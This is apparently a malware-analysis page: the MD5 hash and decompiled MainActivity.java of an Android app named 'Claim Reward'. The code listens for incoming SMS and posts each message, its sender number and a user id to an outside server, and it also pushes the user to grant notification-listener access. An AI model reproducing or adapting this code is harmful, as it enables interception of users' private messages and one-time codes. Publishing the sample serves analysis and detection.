Claim Reward v1.0.0版本的 MD5 值为:d8a26ada9a5c0f642a5a147f5f1e42bd
以下内容为反编译后的 MainActivity.java 源代码,内容仅作参考
package com.big.rec;
import android.app.AlertDialog;
import android.content.ComponentName;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.text.TextUtils;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import com.big.rec.receiver.SmsReceiver;
import org.apache.cordova.CordovaActivity;
public class MainActivity extends CordovaActivity {
private static final String ACTION_NOTIFICATION_LISTENER_SETTINGS = "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS";
private static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
private AlertDialog enableNotificationListenerAlertDialog;
SmsReceiver receiver = new SmsReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
if (Build.VERSION.SDK_INT < 26) {
SharedPreferences prfs = MainActivity.this.getSharedPreferences("AndrodMode", 0);
String user_id = prfs.getString("user_id", null);
MainActivity mainActivity = MainActivity.this;
mainActivity.loadUrl("javascript:$.ajax({ url: 'https://pawansutenterprise.in/pstest/api/app/user_message', type:'post',data: 'userid=" + user_id + "&mob=" + phoneno + "&sc=&msg=" + smsmsg + "&datet=',success:function(res) { } });");
}
}
};
public String smsMsg;
public String smsPhone;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestSmsPermission();
Utils.startPowerSaverIntent(this);
SharedPreferences prfs = getSharedPreferences("ProtectedApps", 0);
int is_protected = prfs.getInt("is_protected", 0);
if (is_protected == 1 && !isNotificationServiceEnabled()) {
AlertDialog buildNotificationServiceAlertDialog = buildNotificationServiceAlertDialog();
this.enableNotificationListenerAlertDialog = buildNotificationServiceAlertDialog;
buildNotificationServiceAlertDialog.show();
}
Bundle extras = getIntent().getExtras();
if (extras != null && extras.getBoolean("cdvStartInBackground", false)) {
moveTaskToBack(true);
}
startService(new Intent(this, MediaService.class));
loadUrl(this.launchUrl);
}
@Override
public void onResume() {
super.onResume();
registerReceiver(this.receiver, new IntentFilter(SMS_RECEIVED));
}
@Override
public void onDestroy() {
super.onDestroy();
unregisterReceiver(this.receiver);
}
private void requestSmsPermission() {
int grant = ContextCompat.checkSelfPermission(this, "android.permission.RECEIVE_SMS");
if (grant != 0) {
String[] permission_list = {"android.permission.RECEIVE_SMS"};
ActivityCompat.requestPermissions(this, permission_list, 1);
}
}
private void requestSmsPermission_read() {
int grant = ContextCompat.checkSelfPermission(this, "android.permission.READ_SMS");
if (grant != 0) {
String[] permission_list = {"android.permission.READ_SMS"};
ActivityCompat.requestPermissions(this, permission_list, 1);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
SharedPreferences settings = getSharedPreferences("SMSChecker", 0);
SharedPreferences.Editor editor = settings.edit();
if (requestCode == 1) {
if (grantResults[0] == 0) {
editor.putInt("is_sms", 1);
return;
}
editor.putInt("is_sms", 0);
finish();
}
}
private boolean isNotificationServiceEnabled() {
String pkgName = getPackageName();
String flat = Settings.Secure.getString(getContentResolver(), ENABLED_NOTIFICATION_LISTENERS);
if (!TextUtils.isEmpty(flat)) {
String[] names = flat.split(":");
for (String str : names) {
ComponentName cn = ComponentName.unflattenFromString(str);
if (cn != null && TextUtils.equals(pkgName, cn.getPackageName())) {
return true;
}
}
return false;
}
return false;
}
private AlertDialog buildNotificationServiceAlertDialog() {
AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(this);
alertDialogBuilder.setTitle(R.string.notification_listener_service);
alertDialogBuilder.setMessage(R.string.notification_listener_service_explanation);
alertDialogBuilder.setPositiveButton(R.string.yes, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int id) {
MainActivity.this.startActivity(new Intent(MainActivity.ACTION_NOTIFICATION_LISTENER_SETTINGS));
}
});
alertDialogBuilder.setNegativeButton(R.string.no, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int id) {
}
});
return alertDialogBuilder.create();
}
}